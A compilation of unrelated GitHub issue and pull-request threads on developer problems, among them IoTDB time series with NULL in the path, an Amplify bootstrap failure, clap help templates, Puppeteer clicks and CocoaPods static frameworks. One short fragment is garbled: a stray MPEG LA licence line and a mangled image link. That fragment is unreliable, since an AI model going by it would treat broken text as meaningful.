Error bootstrapping when trying to create a new app

Environment information
Inside the Amplify user interface

Description
I am attempting to follow the tutorial at https://aws.amazon.com/blogs/mobile/amplify-gen2-ga/ and once I try to create a new app in Amplify I get the following error:

This is not the first time I have seen this error. I was able to previous create apps in Amplify a few weeks ago, but over the past few days I keep getting this error. This is why I chose to do the above tutorial to see if I was doing something wrong, but I still get the same error.
I don't know where to look for what could be causing the issue

Hey @truburn, do you observe any errors in the CDKToolkit stack in the CloudFormation stack events?

@truburn 👋 , checking in to see if you are unblocked on this issue? Were you able to review the events for the CDKToolkit stack in the CloudFormation console?

Sorry for the delayed response. The CDKToolkit is in ROLLBACK_COMPLETE status. And no matter how many times I did that in my primary account, it would result in the same error. So what I did was to create an organization for the particular app and deploy in amplify under that organization and had no issues. It did require some extra steps to be able to use a custom domain I had registered in my primary account. But I am no longer blocked at this point. I just wish I knew why it happened.


update kudos terms

add an image to a term in the kudos thing
expose that in the api

we can just use placeholder emoji for meow


[WatchOnlyWallet] Missing functionality to get balances

objective: to get the available and pending balances of a watched address.
method: our ideas is to implement a GetWatchOnlyBalance API exactly like this: Stratis.Bitcoin.Features.Wallet.Controllers.WalletController::GetBalance
problem: no account.GetSpendableAmount(); available in the watchonly version
zeptin adds some additional color: "so the root cause is that the watch only wallet stores complete transaction objects, but has no SpendableAmount methods.  because the TransactionData classes that linq is operating over have different fields to the TransactionData in the watch only wallet. it should be said that the meaning of 'spendable' for the watchonly is that a particular transaction output has not yet been included in a subsequent transaction. presumably the regular wallet, by definition, has the additional constraint that you need to be in possession of the private key in order for an output to be spendable"

https://trello.com/c/j58HA1Q7/190-watchonlywallet-missing-functionality-to-get-balances

Closed with #1100


Missing check SQL reserved words on  session.createTimeseries()

I created TIMESERIES like this using the session.createTimeseries()
IoTDB> SHOW TIMESERIES
+--------------------------------------------------------------------------------------------------------------------------------------+--------+-------------+--------+--------+-----------+----+----------+
|                                                                                timeseries|   alias|storage group|dataType|encoding|compression|tags|attributes|
+--------------------------------------------------------------------------------------------------------------------------------------+--------+-------------+--------+--------+-----------+----+----------+
|root.test.xx.xx.NULL.xx.ff8081816c21dc05016c22bdca284f65.CARD.CARD-8a5b8486656aa31001656b6d35d6768e.15.temperature||    root.test|  DOUBLE|   PLAIN|        LZO|null|      null|
+--------------------------------------------------------------------------------------------------------------------------------------+--------+-------------+--------+--------+-----------+----+----------+
Total line number = 1

You can notice that the path contains NULL
I get the following error when I delete it using the CLI
IoTDB> DELETE TIMESERIES root.test.xx.xx.NULL.xx.TRANS_ELEMENT-ff8081816c21dc05016c22bdca284f65.CARD.CARD-8a5b8486656aa31001656b6d35d6768e.15.temperature
Msg: 401: Error occurred while parsing SQL to physical plan: line 1:34 mismatched input 'NULL' expecting {CREATE, INSERT, UPDATE, DELETE, SELECT, SHOW, GRANT, INTO, SET, WHERE, FROM, TO, BY, DEVICE, CONFIGURATION, DESCRIBE, SLIMIT, LIMIT, UNLINK, OFFSET, SOFFSET, FILL, LINEAR, PREVIOUS, PREVIOUSUNTILLAST, METADATA, TIMESERIES, TIMESTAMP, PROPERTY, WITH, DATATYPE, COMPRESSOR, STORAGE, GROUP, LABEL, INT32, INT64, FLOAT, DOUBLE, BOOLEAN, TEXT, PLAIN, PLAIN_DICTIONARY, RLE, DIFF, TS_2DIFF, GORILLA, REGULAR, ADD, UPSERT, VALUES, NOW, LINK, INDEX, USING, TRACING, ON, OFF, SYSTEM, READONLY, WRITABLE, DROP, MERGE, LIST, USER, PRIVILEGES, ROLE, ALL, OF, ALTER, PASSWORD, REVOKE, LOAD, WATERMARK_EMBEDDING, UNSET, TTL, FLUSH, TASK, INFO, VERSION, REMOVE, MOVE, CHILD, PATHS, DEVICES, COUNT, NODES, LEVEL, MIN_TIME, MAX_TIME, MIN_VALUE, MAX_VALUE, AVG, FIRST_VALUE, SUM, LAST_VALUE, LAST, DISABLE, ALIGN, COMPRESSION, TIME, ATTRIBUTES, TAGS, RENAME, GLOBAL, FULL, CLEAR, CACHE, TRUE, FALSE, UNCOMPRESSED, SNAPPY, GZIP, LZ4, PARTITION, SNAPSHOT, FOR, SCHEMA, DESC, ASC, '*', OPERATOR_IN, '-', '[', INT, EXPONENT, DURATION, DATETIME, ID, DOUBLE_QUOTE_STRING_LITERAL}
IoTDB>

Desktop (please complete the following information):

OS: MacOS
Version 0.13.0-SNAPSHOT

How do I delete this TIMESERIES

Try the following sql statement?
DELETE TIMESERIES root.test.xx.xx.`NULL`.xx.TRANS_ELEMENT-ff8081816c21dc05016c22bdca284f65.CARD.CARD-8a5b8486656aa31001656b6d35d6768e.15.temperature

Try the following sql statement?
DELETE TIMESERIES root.test.xx.xx.`NULL`.xx.TRANS_ELEMENT-ff8081816c21dc05016c22bdca284f65.CARD.CARD-8a5b8486656aa31001656b6d35d6768e.`15`.temperature

Thank you for your reply, but it did not work
IoTDB> delete timeseries root.test.xx.xx.'NULL'.xx.TRANS_ELEMENT-ff8081816c21dc05016c22bdca284f65.CARD.CARD-8a5b8486656aa31001656b6d35d6768e.'15'.temperature
Msg: 401: Error occurred while parsing SQL to physical plan: line 1:34 mismatched input ''NULL'' expecting {CREATE, INSERT, UPDATE, DELETE, SELECT, SHOW, GRANT, INTO, SET, WHERE, FROM, TO, BY, DEVICE, CONFIGURATION, DESCRIBE, SLIMIT, LIMIT, UNLINK, OFFSET, SOFFSET, FILL, LINEAR, PREVIOUS, PREVIOUSUNTILLAST, METADATA, TIMESERIES, TIMESTAMP, PROPERTY, WITH, DATATYPE, COMPRESSOR, STORAGE, GROUP, LABEL, INT32, INT64, FLOAT, DOUBLE, BOOLEAN, TEXT, PLAIN, PLAIN_DICTIONARY, RLE, DIFF, TS_2DIFF, GORILLA, REGULAR, ADD, UPSERT, VALUES, NOW, LINK, INDEX, USING, TRACING, ON, OFF, SYSTEM, READONLY, WRITABLE, DROP, MERGE, LIST, USER, PRIVILEGES, ROLE, ALL, OF, ALTER, PASSWORD, REVOKE, LOAD, WATERMARK_EMBEDDING, UNSET, TTL, FLUSH, TASK, INFO, VERSION, REMOVE, MOVE, CHILD, PATHS, DEVICES, COUNT, NODES, LEVEL, MIN_TIME, MAX_TIME, MIN_VALUE, MAX_VALUE, AVG, FIRST_VALUE, SUM, LAST_VALUE, LAST, DISABLE, ALIGN, COMPRESSION, TIME, ATTRIBUTES, TAGS, RENAME, GLOBAL, FULL, CLEAR, CACHE, TRUE, FALSE, UNCOMPRESSED, SNAPPY, GZIP, LZ4, PARTITION, SNAPSHOT, FOR, SCHEMA, DESC, ASC, '*', OPERATOR_IN, '-', '[', INT, EXPONENT, DURATION, DATETIME, ID, DOUBLE_QUOTE_STRING_LITERAL}
IoTDB>

Hi,
Please pull the latest master branch and try the following SQL statement:
DELETE TIMESERIES root.test.xx.xx.`NULL`.xx.TRANS_ELEMENT-ff8081816c21dc05016c22bdca284f65.CARD.CARD-8a5b8486656aa31001656b6d35d6768e.15.temperature

In IoTDB, NULL is a constant. If you want to use it as a path node name in the SQL statement, you need to escape it with backticks (`).

Hi,
Please pull the latest master branch and try the following SQL statement:
DELETE TIMESERIES root.test.xx.xx.`NULL`.xx.TRANS_ELEMENT-ff8081816c21dc05016c22bdca284f65.CARD.CARD-8a5b8486656aa31001656b6d35d6768e.15.temperature

In IoTDB, NULL is a constant. If you want to use it as a path node name in the SQL statement, you need to escape it with backticks (`).

Thank you for your reply.
I already have some correct time-series, Is it possible to upgrade smoothly from 12 to 13 without data loss?
Otherwise, When is version <IP_ADDRESS> planned to be released?

In 0.13.0-SNAPSHOT
time series root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature created use Java API
session.createTimeseries("root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature", TSDataType.DOUBLE, TSEncoding.GORILLA,
              CompressionType.SNAPPY, o.getProps(), o.getTags(), o.getAttributes(),
              o.getMeasurementAlias());

CLI
IoTDB> show timeseries
show timeseries
+----------------------------------------------------+--------+-------------+--------+--------+-----------+----+----------+
|                                          timeseries|   alias|storage group|dataType|encoding|compression|tags|attributes|
+----------------------------------------------------+--------+-------------+--------+--------+-----------+----+----------+
|  root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature|板卡温度|    root.test|  DOUBLE| GORILLA|     SNAPPY|null|      null|
+----------------------------------------------------+--------+-------------+--------+--------+-----------+----+----------+

delete time series failed
IoTDB> delete timeseries root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature
delete timeseries root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature
Msg: Path [root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature] does not exist;

IoTDB> delete timeseries root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature
delete timeseries root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature
Msg: 401: Error occurred while parsing SQL to physical plan: line 1:43 mismatched input 'NULL' expecting {'*', '**', STRING_LITERAL, INTEGER_LITERAL, ID, QUTOED_ID_WITHOUT_DOT}
IoTDB>

In 0.13.0-SNAPSHOT
Java API and CLI behave inconsistently when create and delete time series
STEP1: create timeseries succeed using Java
String path1 = "root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature";
String path2 = "root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature";
session.createTimeseries(path1, TSDataType.DOUBLE, TSEncoding.GORILLA, CompressionType.SNAPPY);
session.createTimeseries(path2, TSDataType.DOUBLE, TSEncoding.GORILLA, CompressionType.SNAPPY);

STEP2: show timeseries using CLI
IoTDB> show timeseries
show timeseries
+----------------------------------------------------+-----+-------------+--------+--------+-----------+----+----------+
|                                          timeseries|alias|storage group|dataType|encoding|compression|tags|attributes|
+----------------------------------------------------+-----+-------------+--------+--------+-----------+----+----------+
|  root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature| null|    root.test|  DOUBLE| GORILLA|     SNAPPY|null|      null|
|root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature| null|    root.test|  DOUBLE| GORILLA|     SNAPPY|null|      null|
+----------------------------------------------------+-----+-------------+--------+--------+-----------+----+----------+
Total line number = 2
It costs 0.008s

STEP3: delete timeseries using CLI failed
IoTDB> delete timeseries root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature
delete timeseries root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature
Msg: The statement is executed successfully.
IoTDB> show timeseries
show timeseries
+----------------------------------------------------+-----+-------------+--------+--------+-----------+----+----------+
|                                          timeseries|alias|storage group|dataType|encoding|compression|tags|attributes|
+----------------------------------------------------+-----+-------------+--------+--------+-----------+----+----------+
|root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature| null|    root.test|  DOUBLE| GORILLA|     SNAPPY|null|      null|
+----------------------------------------------------+-----+-------------+--------+--------+-----------+----+----------+
Total line number = 1
It costs 0.007s
IoTDB> delete timeseries root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature
delete timeseries root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature
Msg: Path [root.test.SITE1.VENDORS1.NULL.ELEMENT1.temperature] does not exist;

STEP4: delete timeseries succeed using Java
String path1 = "root.test.SITE1.VENDORS1.`NULL`.ELEMENT1.temperature";
session.deleteTimeseries(path1);

STEP5: show timeseries use CLI
IoTDB> show timeseries
show timeseries
+----------+-----+-------------+--------+--------+-----------+----+----------+
|timeseries|alias|storage group|dataType|encoding|compression|tags|attributes|
+----------+-----+-------------+--------+--------+-----------+----+----------+
+----------+-----+-------------+--------+--------+-----------+----+----------+
Empty set.
It costs 0.004s

I found the following code[1] that removes the escape character when constructing object CreateTimeSeriesPlan when CLI, but code [2] doesn't do it when Java API
[1]https://github.com/apache/iotdb/blob/dfc6d394264052e86ccde251154c07c8e135eabf/server/src/main/java/org/apache/iotdb/db/service/thrift/impl/TSServiceImpl.java#L614
[2]https://github.com/apache/iotdb/blob/dfc6d394264052e86ccde251154c07c8e135eabf/server/src/main/java/org/apache/iotdb/db/service/thrift/impl/TSServiceImpl.java#L1646

Hi,
I think the following syntax conventions should be followed in JAVA API:

For IoTDB-SQL interface , such as executeQueryStatement and executeNonQueryStatement: The input SQL parameter needs to conform to the syntax conventions and be escaped for JAVA strings. For example, you need to add a backslash before the double-quotes. (That is: after JAVA escaping, it is consistent with the SQL statement executed on the command line.)
For Other interfaces :

The node names in path or path prefix as parameter:

The node names which should be escaped by backticks (`) in the SQL statement, and escaping is not required here.
The node names enclosed in single or double quotes still need to be enclosed in single or double quotes and must be escaped for JAVA strings.
For the checkTimeseriesExists interface, since the IoTDB-SQL interface is called internally, the time-series pathname must be consistent with the SQL syntax conventions and be escaped for JAVA strings.

Identifiers (such as template names) as parameters: The identifiers which should be escaped by backticks (`) in the SQL statement, and escaping is not required here.

What do you think? Welcome to discuss if you have any concerns or ideas!

Hi,
I think the following syntax conventions should be followed in JAVA API:

For IoTDB-SQL interface , such as executeQueryStatement and executeNonQueryStatement: The input SQL parameter needs to conform to the syntax conventions and be escaped for JAVA strings. For example, you need to add a backslash before the double-quotes. (That is: after JAVA escaping, it is consistent with the SQL statement executed on the command line.)

For Other interfaces :

The node names in path or path prefix as parameter:

The node names which should be escaped by backticks (`) in the SQL statement, and escaping is not required here.
The node names enclosed in single or double quotes still need to be enclosed in single or double quotes and must be escaped for JAVA strings.
For the checkTimeseriesExists interface, since the IoTDB-SQL interface is called internally, the time-series pathname must be consistent with the SQL syntax conventions and be escaped for JAVA strings.

Identifiers (such as template names) as parameters: The identifiers which should be escaped by backticks (`) in the SQL statement, and escaping is not required here.

What do you think? Welcome to discuss if you have any concerns or ideas!

Can these problems be avoided by following some simple rules?

Use backticks (`) only in IoTDB-SQL interface, checkTimeseriesExists will cause confusion
Or add suffix to other interface methods that use backticks (`).  For example checkTimeseriesExistsWithSQL

@liuminghui233

For the checkTimeseriesExists interface, since the IoTDB-SQL interface is called internally, the time-series pathname must be consistent with the SQL syntax conventions and be escaped for JAVA strings.

This may cause some potential bugs: can we make sure all callers know the semantic?
For example, if someone implement a new Java interface like createTimeseries, and in the implementation, he/she calls checkTimeseriesExists... (Don't we call checkTimeseriesExists in our createTimeseries method?)
Considering the above, I think adding a new function checkTimeseriesExistsWithSQL  may be fine. @coolbeevip


Use std.traits.Parameters in the test-suite to make Nominator / getNominator more DRY

Was working on some changes in the nominator and I kept on having errors everywhere.
So I was looking for ways to clear that up, when I noticed I must not be the only one, given the variety of errors in the parameters being passed :)

@omerfirmak : You might be interested in this :P

@omerfirmak : You might be interested in this :P

@omerfirmak : You might be interested in this :P

I knew there was a better way :) Just did not know how :D

@omerfirmak : You might be interested in this :P

I knew there was a better way :) Just did not know how :D


Settings Sharing

This isn't really an issue so delete if needed.  This is more of a question.  Is there a way users can make sure they have the same extension settings as each other?  Me and another developer both use the extension but he must have used different settings so a minor change and a prettify causes the file to be very different.  I looked for where the settings get stored and could not find them.

Thanks for reporting.  This would be Visual Studio Code feature. Here is a possible solution.
https://stackoverflow.com/questions/35368889/how-can-i-export-settings
You would need to open Preferences: Open User Settings (JSON) ⇒ check anything with prettyxml.settings. these will be the ones which you have modified, it wont show the default settings. If you want to see default settings in JSON you can do so by opening Preferences: Open Default Settings (JSON). Another thing to note is there are two different levels of settings for all extensions, make sure they are same viz.

User settings
Workspace settings

Also you can take screenshots from Extension settings and compare too.
Let me know if I can be of more help.


fix(getting-started): Added ok icons and read only text

Added ok icons and read only text after username is updated to match latest mockups.

There were the following issues with your Pull Request

Commit: c9905ab0752a52895d07a4c58313d959ae7ef6e2
Your subject line is longer than 50 characters

Guidelines are available at https://github.com/fabric8io/fabric8-ui

This message was auto-generated by https://gitcop.com

@dlabrecq snapshot fabric8-ui is deployed and available for testing at https://fabric8-ui-fabric8-ui-pr-993-fabric8-ui.int.rdu2c.fabric8.io


Memory Read/Write Error - Remix Server Setup

When Remix tries to boot up 18 Wheels of Steel: Extreme Trucker 2, it throws this error on the server side
Exception 0xc0000005, a memory read/write error.

When I try to boot into the game using Remix. It hooks into the game but the Bridge server refuses to create and crashes immediately causing an eventual Black Screen crash to the game.

Remix 0.2 - Stable

RTX 3060
531.79 - Game Ready Driver
18 Wheels of Steel: Extreme Trucker 2
Build 1.0 - Steam

Logs
To make this easier to reproduce, I will keep all bridge settings and additional files I used in trying to circumvent this at their defaults as they don't seem to impact the outcome of the bug.

NvRemixBridge.log
d3d9.log
extremetrucker_d3d9.log

To Reproduce
Steps to reproduce the behavior:

Go to 18 Wheels of Steel: Extreme Trucker 2 Config file (Found in documents under C:\Users<USER>\OneDrive(if you have it)\Documents\18 WoS Extreme Trucker 2\config.cfg) and paste this in:
config.txt
Changes engine to DX 9, forces windowed screen and also should set graphics to minimum, however you may have to do that yourself
Save config.cfg
Go to 'Steam'
Click on 18 Wheels of Steel: Extreme Trucker 2, or click on it's .exe file in file explorer
Navigate to the game files under 'C:\Program Files (x86)\Steam\steamapps\common\18 WoS Extreme Trucker 2\bin\win_x86'
Navigate to the bridge log under .trex folder
See error

Expected behavior
Upon clicking 18 Wheels of Steel: Extreme Trucker 2, the game will briefly show a white screen before turning black then crashing with no error messages popping up after.
Screenshots

White Screen

Black Screen
Black Screen does not allow me to take a screenshot. But it comes after the white screen. Waiting times for the screen to appear black vary

@JP111555 there isn't enough information in the description to understand what your issue is. Can you please fill out the bug form and let us know what game, GPU, attach logs etc.?

@JP111555 there isn't enough information in the bug description to understand your issue. Can you please fill out the bug template and what game, GPU etc. you are running on and attach log files?

Also I didn't mean to close that comment.  Can you please fill out the bug form and let us know what game, GPU, attach logs etc.?

Everything should be filled out now. Sorry, I accidentally hit enter before filling everything out.

Ighty, I made a new issue post one where I didn't close the issue accidentally. Link is here


Page evaluate click() throws error but it works normally in the browser

If run the following code manually in the browser it works as expected (clicks the link and loads the next page
var fixture = 'fixture_0'

var num = fixture.split('_')[1]

var buttonClick = document.getElementById(fixture)

buttonClick.click()

var dropdowns = document.querySelectorAll('tr td:first-child div.dropdown')

var button = document.querySelector('div.dropdown #'+fixture)

var fieldsLink = dropdowns[num].querySelectorAll('a')[2]

console.log(fieldsLink)

fieldsLink.click()

However, if I run the same code inside await page.evaluate( () => {}) using puppeteer I get UnhandledPromiseRejectionWarning: Error: Evaluation failed: TypeError: Cannot read property 'click' of null
Why is it throwing this error when it runs fine if I run the code manually in the browser? I can see that fieldsLink has selected the right element.

@stemie hard to say unless you can share your exact puppeteer script that we can run locally

I was doing a for loop in browser.newPage (eg. for (const fixture of fixtures) {})) and forgot to open new pages for each item in the loop. I couldn't make sense of the error message initially, problem solved.


 NO LICENCE IS GRANTED OR SHALL BE IMPLIED FOR ANY OTHER USE. ADDITIONAL INFORMATION MAY BE OBTAINED FROM MPEG LA, L.L.C. SEE THE MPEG LA WEBSITE (https://www.mpegla.com).
![Teams-background_MS-Ignite_v02_B (1)](https://github.co@Victorkeenom1 /microsoft/vscode/assets/145499219/3f99eec0-1857-41cd-9852-c27beda30faf)
@


Merge custom rules after defaults are determined

Custom rules like
"babel/object-curly-spacing": [2, "always"]

are no longer ignored, as they are merged after defaults are determined.

LGTM. Can you squash?

Changes are now squashed.

Thank you! I'll do another release this weekend :)


Fix issue #1020: JSON type in MySQL not supported in v3.2

K_JSON is missing in ColDataType.

Coverage remained the same at 84.076% when pulling 046e478d02a603295c7669e611464de0ba257d2f on mo3000:master into 57a7dcdf2ede8a0077e12e581cc7e22c0262b631 on JSQLParser:master.


Allow styled text in template

 Issue by ssokolow
Tuesday Mar 19, 2019 at 00:17 GMT
Originally opened as https://github.com/clap-rs/clap/issues/1433

Rust Version
rustc 1.32.0 (9fda7c223 2019-01-16)
Affected Version of clap
2.32.0
Bug or Feature Request Summary
When using a custom template to work around papercuts in Clap (#1432) and StructOpt (TeXitoi/structopt#172) which break help2man, i can find no documented way to apply AppSettings::ColoredHelp to the "USAGE:" header, though I've managed to reconstruct the desired bits of all of the rest of the default template.
Expected Behavior Summary
I should have some means of reintroducing the conditionally and portably colored USAGE: header, like this:

NOTE: Image created as a composite of two screenshots.
Actual Behavior Summary
I was able to recreate every desired element of the default template except the coloring on the USAGE: header:

Steps to Reproduce the issue

Copy the example from the README into a new project
Use the following custom template in concert with AppSettings::ColoredHelp:

const HELP_TEMPLATE: &str = "{bin} {version}

{about}

USAGE:
    {usage}

{all-args}
";

Sample Code or Link to Sample Code
https://gist.github.com/ssokolow/9df8c92b24d94116c5eb57fccad2b1a2

 Comment by ssokolow
Tuesday Mar 19, 2019 at 00:33 GMT

...and, aesthetics aside, having a USAGE: header is necessary for help2man to recognize the usage line.

 Comment by danwilliams
Sunday May 05, 2019 at 13:45 GMT

Equally, if you use, as a guideline, the "full help template" that can be found here:
https://github.com/clap-rs/clap/blob/master/tests/example1_tmpl_full.txt
...there is no way to apply the ColoredHelp formatting to the various other headings if, for instance, you wish to change their order or rename them (e.g. for language translations).
Unsure at this point of the best approach to getting coloured help output when using custom help templates.

 Comment by ssokolow
Monday May 06, 2019 at 02:03 GMT

EDIT: Sorry if you saw the original form of this via e-mail notification. I initially misunderstood the intent of your response.
True, but, In my testing, aside from the USAGE: header not being colourized, the template I gave is equivalent to removing the author placeholder from the default template and inserting a newline before {about} so help2man understands it properly.
example1_tmpl_full.txt has the additional problem of not replicating the "hide headers for empty sections" behaviour of the default template.
That said, what I'd suggest is some kind of placeholder that resolves to either changing the colour if colourization is enabled or nothing if it's disabled.

 Comment by CreepySkeleton
Thursday Jul 09, 2020 at 13:10 GMT

That said, what I'd suggest is some kind of placeholder that resolves to either changing the colour if colourization is enabled or nothing if it's disabled.

I was thinking along these lines in the context of https://github.com/clap-rs/clap/issues/1790. Something like
{color:yellow:USAGE}

or more generally
{color:color_name-bold:text}
 ----- ---------- ---- ----
 |        |         |
 keyword  |       optional bold switch
       the color

And maintain the list of supported colors.
I don't want to support any RGB-or-something notations because Windows CMD has only a set of predefined colors and implementing the RGB code => winapi color mapping is something I very much like to avoid.

 Comment by pksunkara
Monday Oct 26, 2020 at 08:21 GMT

The original usage issue is fixed in #2131. I am repurposing this issue for general styled text in templates.


[WIP] Reordered rustc arguments.

This adresses #3276 .
Some tests I can't run locally might still fail, I'm fixing those.
The core change is rather trivial, simply reorder some existing code, and update tests to match the new results.

Thanks for the pull request, and welcome! The Rust team is excited to review your changes, and you should hear from @brson (or someone else) soon.
If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.
Please see the contribution instructions for more information.

Looks good to me! As soon as the tests are green I'll r+

Some of the tests were failing because of the SSL regression, some are still underway. I'll write here when I think all the regressions introduced by my changes are fixed.

Tests pass now, including the nightlies.

@bors: r+
Thanks!

:clipboard: Looks like this PR is still in progress, ignoring approval

@bors: r+

:pushpin: Commit faa8074 has been approved by alexcrichton

:hourglass: Testing commit faa8074 with merge 80ec9e0...

:sunny: Test successful - status-appveyor, status-travis
Approved by: alexcrichton
Pushing 80ec9e0fb7e0574493dc9a9a6891c82b6b1ce512 to master...


Simplify tests: find email body for Mail::TestMailer by subject

@rultor release tag=0.2.0

@rultor release tag=0.2.0

@dgroup OK, I will release it now. Please check the progress here

@rultor release tag=0.2.0

@dgroup Done! FYI, the full log is here (took me 4min)


The 'Pods-Runner' target has transitive dependencies that include static binaries

Running pre install hooks
[!] The 'Pods-Runner' target has transitive dependencies that include static binaries: (/Users/apple/Flutter/projects/fixtime/ios/Pods/AgoraRtm_iOS/AgoraRtmKit.framework)
/usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/installer/xcode/target_validator.rb:81:in block (2 levels) in verify_no_static_framework_transitive_dependencies'   /usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/installer/xcode/target_validator.rb:73:in each'
/usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/installer/xcode/target_validator.rb:73:in block in verify_no_static_framework_transitive_dependencies'   /usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/installer/xcode/target_validator.rb:70:in each'
/usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/installer/xcode/target_validator.rb:70:in verify_no_static_framework_transitive_dependencies'   /usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/installer/xcode/target_validator.rb:36:in validate!'
/usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/installer.rb:459:in validate_targets'   /usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/installer.rb:138:in install!'
/usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/command/install.rb:48:in run'   /usr/local/Cellar/cocoapods/1.6.1/libexec/gems/claide-1.0.2/lib/claide/command.rb:334:in run'
/usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/lib/cocoapods/command.rb:52:in run'   /usr/local/Cellar/cocoapods/1.6.1/libexec/gems/cocoapods-1.6.1/bin/pod:55:in <top (required)>'
/usr/local/Cellar/cocoapods/1.6.1/libexec/bin/pod:22:in load'   /usr/local/Cellar/cocoapods/1.6.1/libexec/bin/pod:22:in '

因为其他插件需要，我去除了 use_frameworks! 的注释
• No issues found!
AnsenMBP-3:fixtime apple$ flutter doctor
Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, v1.9.1+hotfix.2, on Mac OS X 10.14.6 18G87, locale en-US)
[✓] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
[✓] Xcode - develop for iOS and macOS (Xcode 10.3)
[✓] Android Studio (version 3.3)
[✓] VS Code (version 1.38.0)
[✓] Connected device (1 available)

https://github.com/emostar/flutter-zendesk/issues/1
https://github.com/andreidiaconu/flutter-zendesk/commit/60cafaac143313288f8b985fab2df85a25854c28
在插件 ios podspec 上增加  s.static_framework = true 解决了问题
自己 clone 了一个可以运行了

十分欢迎贡献代码

@iyuhang 感谢贡献，已经发布至0.9.7版本


Move Marked as Stare items to iCloud.

Currently my subscriptions are On My MAC. I would like to move them to the iCloud. Many items are Marked as Stared. I move one subscription but none have the Marked as Stared assignment. Is it possible to migrate this designation to iCloud?

It isn't possible to move started items between accounts. The solution is super complicated and probably can't be implemented successfully because different account types uniquely identify articles using different schemes.


A way to mute someone's chat

Description

Can be just a command to start off, but having it easily accessible from ahelp would be ideal. Should mute people from all chat channels:

Local
Emote
LOOC
OOC
Dead chat

Shouldn't mute people from ahelp. Should persist across mind transfers, round restarts, rejoins, and work in the lobby. Should not persist across server restarts. Ideally, it should periodically (10 minutes?) send an admin alert to remind admins that someone is muted.

would also be nice for players to use if someones spamming radio and theres no admins on

@Chief-Engineer we have Freeze and Mute verb now. Resolved?


feat: support await tree dump for Meta node

Is your feature request related to a problem? Please describe.
We observed long-time hanging on Meta node sometimes. We may need to add a trace on Meta node for any async operations that could block.
Describe the solution you'd like
No response
Describe alternatives you've considered
No response
Additional context
No response

Another case #15235
We probably need to prioritize this

We might postpone this until the etcd backend support is completely removed.


Dependency error On Ubuntu 16.04 with Electron 25

          On Ubuntu 16.04

Originally posted by @sbatten in https://github.com/microsoft/vscode/issues/188689#issuecomment-1650724219

On ubuntu 18.04 and using apt, almost the same error
ultraheroe@d:~$ sudo apt upgrade code-insiders
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 code-insiders : Depends: libgssapi-krb5-2 (>= 1.17) but 1.16-2ubuntu0.4 is to be installed
E: Broken packages

Steps for verification:

In Ubuntu 18.04 VM
Install 1.80 insiders debian package from
sudo apt upgrade code-insiders
Verify that error seen in https://github.com/microsoft/vscode/issues/188881#issuecomment-1653009764 is not shown and update completes successfully

Closing for verification.


camerad: cleanup camera sensor abstractions

About to merge https://github.com/commaai/openpilot/pull/25161/, which has a lot of stuff that looks like "a if AR0231 else b". @deanlee want to try cleaning up the abstractions here?

Done, thanks @deanlee!


Add the logs info status to the missing must-gather logs comment

/test unit-test

not intresting


Document writing portable config with storage.

This change is

@viglesiasce you want this
@thockin we just talked about this an hour ago
@jsafrane @saad-ali we have talked about this issue before.

tech lgtm

I addressed the doc reviewers comments so marking this Doc LGTM.

Github Reviews doesn't seem to understand that I have addressed the review comments.


Customize middleware in server folder for custom api paths

Describe the feature
I want to create an authentication firm in the server folder and in the firm folder and want to support any route / API / user path that is inside the user, how can I do this? In fact, what is the best way that Nuxt offers?
Additional information

[ ] Would you be willing to help implement this feature?
[X] Could this feature be implemented as a module?

Final checks

[X] Read the contribution guide.
[X] Check existing discussions and issues.

From what I can infer, you want to make a directory under /server/api/ that corresponds to a firm (or business) name. And you want to run middleware only for that firm. Is this correct?
You can achieve this by adding a server middleware and using either getRequestURL(event) or getRequestPath(event) h3 utilities to filter for requests only on that path, and run logic conditionally.
https://github.com/unjs/h3#utilities

Using Regex to filter paths is the best method I can use, and for example, a path /api/user as a fixed path and any path that is placed after user will be correct. Is this a good method?

Regex can work but also look into String.includes(). It looks for the first instance of a given substring. Could be simpler because each directory you got under /api should be unique.
There is also String.split("/"). Between these methods I think you can develop a system that works best for you.

If I use String.includes(/) I have to check the array row by row. Or, for example, I want to use this middleware only for the path /api/dashboard/user, but a request is made from api/user, then user is included in includes, and the condition becomes true, and the middleware is also executed for this path.

